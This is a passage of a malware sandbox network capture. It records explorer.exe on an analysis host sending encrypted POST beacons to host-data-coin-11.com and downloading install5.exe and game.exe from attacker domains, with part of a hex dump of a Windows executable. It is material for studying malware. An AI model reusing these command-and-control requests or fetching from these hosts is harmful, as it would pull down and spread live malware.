Jan 6, 2022 21:04:01.435710907 CET	1856	IN	Data Raw: 32 35 0d 0a 2d 20 70 75 72 65 20 76 69 72 74 75 61 6c 20 66 75 6e 63 74 69 6f 6e 20 63 61 6c 6c 0d 0a 00 00 00 52 36 30 32 34 0d 0a 2d 20 6e 6f 74 20 65 6e 6f 75 67 68 20 73 70 61 63 65 20 66 6f 72 20 5f 6f 6e 65 78 69 74 2f 61 74 65 78 69 74 20 Data Ascii: 25- pure virtual function callR6024- not enough space for _onexit/atexit tableR6019- unable to open console deviceR6018- unexpected heap errorR6017- unexpected multithread lock errorR6016- not enough sp

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.4	49807	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:04.265089989 CET	2421	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://uhimfxcko.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 287 Host: host-data-coin-11.com
Jan 6, 2022 21:04:04.265101910 CET	2422	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 97 66 5d 02 c9 a1 c1 64 2a bf 9f 0e Data Ascii: 8v:1C@ohXwmDu$f]d6kKt43%S ]R(E;:aTHYX@AtCe ]~jLM8Vl<<>D"0tA Z5fU!-vCYH8/v:0n(=;
Jan 6, 2022 21:04:04.817389965 CET	2460	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:04 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.4	49808	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:05.024076939 CET	2515	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://npwunyjvy.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 230 Host: host-data-coin-11.com
Jan 6, 2022 21:04:05.024086952 CET	2516	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 94 66 5d 02 c8 a1 c1 64 12 95 87 05 Data Ascii: 8v:1C@ohXwmDu$f]d#'l[;0KoOIAm\!40^- i!XK=;%e_8'{o9&\|jJ~'^0_1b^zXd:Das7
Jan 6, 2022 21:04:05.587758064 CET	2626	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d4 89 4f 04 7e 02 fc a9 8d b6 e4 05 ab 0c 91 6b b9 45 4b 95 09 fd bc 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OO~kEKg2P0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49862	67.199.248.10	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.4	49809	54.38.220.85	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:05.719651937 CET	2626	OUT	GET /install5.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: unicupload.top
Jan 6, 2022 21:04:05.737627029 CET	2627	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 06 Jan 2022 20:02:56 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.4	49810	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:05.943239927 CET	2627	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://otvft.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 253 Host: host-data-coin-11.com
Jan 6, 2022 21:04:05.943267107 CET	2628	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 95 66 5d 02 c8 a1 c1 64 3b 93 d0 77 Data Ascii: 8v:1C@ohXwmDu$f]d;wXj7DNgQ2)bb"?Dwt.a=vZ+0s8`'TO;H>_ yZ,H< jN [E<$k^\_<\|fzB,^#RSqQ<[W
Jan 6, 2022 21:04:06.502775908 CET	2628	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.4	49811	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:06.725724936 CET	2629	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kttrtq.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 258 Host: host-data-coin-11.com
Jan 6, 2022 21:04:06.725740910 CET	2629	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 92 66 5d 02 c8 a1 c1 64 43 c2 83 1a Data Ascii: 8v:1C@ohXwmDu$f]dC=z,wWx3,Cq@!UgnLH+0[FPW &eXm$<uo2:5t'ey*60R:/CQ<AJ[xh=Gub0vKj[:
Jan 6, 2022 21:04:07.300678968 CET	2630	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:07 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.4	49812	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:07.511940956 CET	2630	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://krbreodla.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 296 Host: host-data-coin-11.com
Jan 6, 2022 21:04:07.512007952 CET	2631	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 93 66 5d 02 c8 a1 c1 64 55 97 88 37 Data Ascii: 8v:1C@ohXwmDu$f]dU7yu@b<([i]C 1Xwic7z_]$?;6J>\|Q+1/ -ecW<[IofO,p5LIbaAr}B{vQY`rN!_pqwH
Jan 6, 2022 21:04:08.070584059 CET	2631	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:07 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.4	49813	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:08.281691074 CET	2632	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nxisua.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 190 Host: host-data-coin-11.com
Jan 6, 2022 21:04:08.281697989 CET	2633	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 90 66 5d 02 c8 a1 c1 64 5e c5 81 6e Data Ascii: 8v:1C@ohXwmDu$f]d^nk'O`HW[1`FI[L!iqMn=/Z bS,7>'A(;-~leX77s5W
Jan 6, 2022 21:04:08.844367981 CET	2633	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:08 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OR&:UPJ$dP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.4	49814	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:09.349282026 CET	2634	OUT	GET /game.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: data-host-coin-8.com
Jan 6, 2022 21:04:09.893450975 CET	2635	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:09 GMT Content-Type: application/x-msdos-program Content-Length: 309760 Connection: close Last-Modified: Thu, 06 Jan 2022 20:04:01 GMT ETag: "4ba00-5d4ef5f1fb054" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 fd da db ac b9 bb b5 ff b9 bb b5 ff b9 bb b5 ff a7 e9 20 ff a8 bb b5 ff a7 e9 36 ff ca bb b5 ff 9e 7d ce ff ba bb b5 ff b9 bb b4 ff 7d bb b5 ff a7 e9 31 ff 80 bb b5 ff a7 e9 21 ff b8 bb b5 ff a7 e9 24 ff b8 bb b5 ff 52 69 63 68 b9 bb b5 ff 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 80 04 9a 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 c0 03 00 00 04 02 00 00 00 00 00 f0 d4 01 00 00 10 00 00 00 d0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 06 00 00 04 00 00 b1 8d 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 74 be 03 00 28 00 00 00 00 40 05 00 18 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 05 00 84 1b 00 00 20 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 8a 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 d4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1e bf 03 00 00 10 00 00 00 c0 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 04 20 01 00 00 d0 03 00 00 14 00 00 00 c4 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6d 6f 6e 61 67 00 00 05 00 00 00 00 00 05 00 00 02 00 00 00 d8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6a 6f 70 61 76 69 00 4b 00 00 00 00 10 05 00 00 02 00 00 00 da 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6a 61 73 00 00 00 00 ea 00 00 00 00 20 05 00 00 02 00 00 00 dc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6a 61 76 65 66 61 00 93 0d 00 00 00 30 05 00 00 0e 00 00 00 de 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 18 90 00 00 00 40 05 00 00 92 00 00 00 ec 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 3a 00 00 00 e0 05 00 00 3c 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 c1 03 00 82 c1 03 00 94 c1 03 00 aa c1 03 00 ba c1 03 00 ca c1 03 00 e6 c1 03 00 fa c1 03 00 0e c2 03 00 1e c2 03 00 38 c2 03 00 52 c2 03 00 6a c2 03 00 7e Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ 6}}1!$RichPEL`@ t(@ 8@.text `.data @.monag@.jopaviK@.jas @.javefa0@.rsrc@@@.reloc:<~@Bp8Rj~
Jan 6, 2022 21:04:09.893512964 CET	2636	IN	Data Raw: c2 03 00 8a c2 03 00 98 c2 03 00 b0 c2 03 00 c0 c2 03 00 e2 c2 03 00 ee c2 03 00 02 c3 03 00 1e c3 03 00 30 c3 03 00 4c c3 03 00 5e c3 03 00 72 c3 03 00 80 c3 03 00 9a c3 03 00 ac c3 03 00 c2 c3 03 00 d6 c3 03 00 e4 c3 03 00 f4 c3 03 00 0a c4 03 Data Ascii: 0L^r.L^p6JZn\|$8N^z$
Jan 6, 2022 21:04:09.893562078 CET	2638	IN	Data Raw: 75 7a 61 73 65 68 65 72 61 64 75 77 75 6e 6f 76 00 63 61 66 75 66 75 6e 65 6a 65 73 61 6c 6f 77 69 72 61 67 69 76 75 68 61 74 6f 7a 61 70 61 78 75 76 65 74 65 64 00 00 00 79 69 76 69 6a 75 72 75 64 69 63 61 76 61 63 65 63 61 77 75 67 75 64 61 77 Data Ascii: uzaseheraduwunovcafufunejesalowiragivuhatozapaxuvetedyivijurudicavacecawugudaworiwoscahedexigovofopoyZowivukivoyujegDufecewew cofa hijuvonego xuhayururo yeyabonparulezizubekehadmizotegikomoriy
Jan 6, 2022 21:04:09.893613100 CET	2639	IN	Data Raw: 00 65 00 72 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 78 00 38 00 36 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 Data Ascii: erf:\dd\vctools\crt_bld\self_x86\crt\src\vswprint.c(format != NULL)("Buffer too small", 0)string != NULL && sizeInWo
Jan 6, 2022 21:04:09.893663883 CET	2641	IN	Data Raw: 68 6f 6f 6b 20 61 6c 6c 6f 63 61 74 69 6f 6e 20 66 61 69 6c 75 72 65 20 61 74 20 66 69 6c 65 20 25 68 73 20 6c 69 6e 65 20 25 64 2e 0a 00 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 Data Ascii: hook allocation failure at file %hs line %d.f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c_CrtCheckMemory()_calloc_dbg_impl(_HEAP_MA
Jan 6, 2022 21:04:09.893712044 CET	2642	IN	Data Raw: 00 20 00 6e 00 42 00 6c 00 6f 00 63 00 6b 00 55 00 73 00 65 00 00 00 00 00 00 00 70 00 48 00 65 00 61 00 64 00 2d 00 3e 00 6e 00 4c 00 69 00 6e 00 65 00 20 00 3d 00 3d 00 20 00 49 00 47 00 4e 00 4f 00 52 00 45 00 5f 00 4c 00 49 00 4e 00 45 00 20 Data Ascii: nBlockUsepHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQHEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the applicati
Jan 6, 2022 21:04:09.893762112 CET	2643	IN	Data Raw: 77 69 74 68 20 75 6e 6b 6e 6f 77 6e 20 72 65 74 75 72 6e 20 76 61 6c 75 65 21 0a 00 00 5f 68 65 61 70 63 68 6b 20 66 61 69 6c 73 20 77 69 74 68 20 5f 48 45 41 50 42 41 44 50 54 52 2e 0a 00 00 00 5f 68 65 61 70 63 68 6b 20 66 61 69 6c 73 20 77 69 Data Ascii: with unknown return value!_heapchk fails with _HEAPBADPTR._heapchk fails with _HEAPBADEND._heapchk fails with _HEAPBADNODE._heapchk fails with _HEAPBADBEGIN._CrtSetDbgFlag(fNewBits==_CRTDB
Jan 6, 2022 21:04:09.893820047 CET	2645	IN	Data Raw: 00 4e 00 55 00 4c 00 4c 00 00 00 2e 00 2e 00 2e 00 00 00 41 00 73 00 73 00 65 00 72 00 74 00 69 00 6f 00 6e 00 20 00 46 00 61 00 69 00 6c 00 65 00 64 00 00 00 00 00 45 00 72 00 72 00 6f 00 72 00 00 00 57 00 61 00 72 00 6e 00 69 00 6e 00 67 00 00 Data Ascii: NULL...Assertion FailedErrorWarning/@/@/@f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.cMicrosoft Visual C++ Debug
Jan 6, 2022 21:04:09.893877983 CET	2646	IN	Data Raw: 00 6d 00 20 00 6e 00 61 00 6d 00 65 00 20 00 75 00 6e 00 6b 00 6e 00 6f 00 77 00 6e 00 3e 00 22 00 29 00 00 00 5f 00 5f 00 63 00 72 00 74 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 57 00 69 00 6e 00 64 00 6f 00 77 00 57 00 00 00 66 3a 5c 64 64 Data Ascii: m name unknown>")__crtMessageWindowWf:\dd\vctools\crt_bld\self_x86\crt\src\output.c("'n' format specifier disabled", 0)_woutput_lf:\dd\v
Jan 6, 2022 21:04:09.893930912 CET	2647	IN	Data Raw: 00 4c 00 00 00 00 00 73 00 74 00 72 00 74 00 6f 00 78 00 71 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 78 Data Ascii: Lstrtoxqf:\dd\vctools\crt_bld\self_x86\crt\src\strtoq.cCorExitProcessmscoree.dllf:\dd\vctools\crt_bld\self_x86\crt\src\w
Jan 6, 2022 21:04:10.077208042 CET	2649	IN	Data Raw: 32 35 0d 0a 2d 20 70 75 72 65 20 76 69 72 74 75 61 6c 20 66 75 6e 63 74 69 6f 6e 20 63 61 6c 6c 0d 0a 00 00 00 52 36 30 32 34 0d 0a 2d 20 6e 6f 74 20 65 6e 6f 75 67 68 20 73 70 61 63 65 20 66 6f 72 20 5f 6f 6e 65 78 69 74 2f 61 74 65 78 69 74 20 Data Ascii: 25- pure virtual function callR6024- not enough space for _onexit/atexit tableR6019- unable to open console deviceR6018- unexpected heap errorR6017- unexpected multithread lock errorR6016- not enough sp

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.4	49819	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:15.350435972 CET	3019	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gfqscje.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 341 Host: host-data-coin-11.com
Jan 6, 2022 21:04:15.350478888 CET	3020	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 90 66 5d 02 c9 a1 c1 64 1b 87 d2 11 Data Ascii: 8v:1C@ohXwmDu$f]dM :n]gE+b7pp=:XqmI^W!3D~pciqXb!+/8r#[3L`z+p=UD/;r _\jRaEia:M
